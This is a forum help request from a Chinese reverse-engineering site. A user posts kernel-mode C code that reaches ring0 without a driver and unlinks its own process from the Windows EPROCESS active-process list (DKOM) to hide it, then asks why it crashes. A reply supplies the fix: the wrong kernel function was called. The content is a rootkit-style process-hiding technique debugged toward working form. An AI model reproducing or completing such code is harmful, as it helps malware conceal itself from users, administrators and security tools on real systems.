首页
社区
课程
招聘
[求助]无驱进入ring0后再dkom隐藏自身进程为何蓝屏
发表于: 2008-6-13 11:05 5488

[求助]无驱进入ring0后再dkom隐藏自身进程为何蓝屏

2008-6-13 11:05
5488
小虫东拼西凑的代码,无驱进入ring0后修改内核对象来隐藏自身进程,为什么一运行就蓝。
另外小虫想学高手那样调试程序,不知从何下手,望高人指点一二。
以下是代码,完整代码见附件
NTSTATUS Ring0Code(ULONG size,PULONG buffer)
{
   DWORD eproc=0x00000000;
   ULONG BuildNumber;
   DWORD PIDOffset,ListOffset;
   int start_PID=0;
   PLIST_ENTRY plist_active_procs;
   PIDOffset=0x84;
   ListOffset=0x88;
      

  //  LIST_ENTRY plist_active_procs;
  // PLIST_ENTRY plist_active_procs;//=NULL;
   eproc=(DWORD)pfnPsGetCurrentProcessId();
   plist_active_procs=(LIST_ENTRY*)(eproc+ListOffset);
   *((DWORD*)plist_active_procs->Blink)=(DWORD)plist_active_procs->Flink;
   *((DWORD*)plist_active_procs->Flink+1)=(DWORD)plist_active_procs->Blink;
   //start_PID=*((DWORD*)(eproc+PIDOffset));
   //current_PID=start_PID;
   
   
  // pfnPsGetVersion(NULL,NULL,&BuildNumber,NULL);
   //PLIST_ENTRY ListHead,ListPtr;
/*  switch (BuildNumber)    // 各版本OS的KPEB结构不同
    {
        case 2195:  // Win2000
//            ListOffset = 0xa0;
            PIDOffset = 0x9c;
//            NameOffset = 0x1fc;
            break;
        case 2600:  // WinXP
  //          ListOffset = 0x88;
            PIDOffset = 0x84;
//            NameOffset = 0x174;
            break;
        case 3790:  // Win2003
//            ListOffset = 0x88;
            PIDOffset = 0x84;
//            NameOffset = 0x154;
            break;
        default:
            return STATUS_NOT_IMPLEMENTED;
    }*/
  
   //pfnDbgPrint("PIDOffset is %d\n",PIDOffset);
   //pfnDbgPrint("Enter Ring0\nmyprocess is %d\n",eproc);
   //pfnDbgPrint("Enter Ring0\BuildNumber is %d\n",BuildNumber);
  // ListOffset=0x88;
   return STATUS_SUCCESS;
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 185
活跃值: (295)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
问题已找到
eproc=(DWORD)pfnPsGetCurrentProcessId();
函数用错了,应该用PsGetCurrentProcess(),即
eproc=(DWORD)pfnPsGetCurrentProcess();
2008-6-14 23:04
0
游客
登录 | 注册 方可回帖
返回
//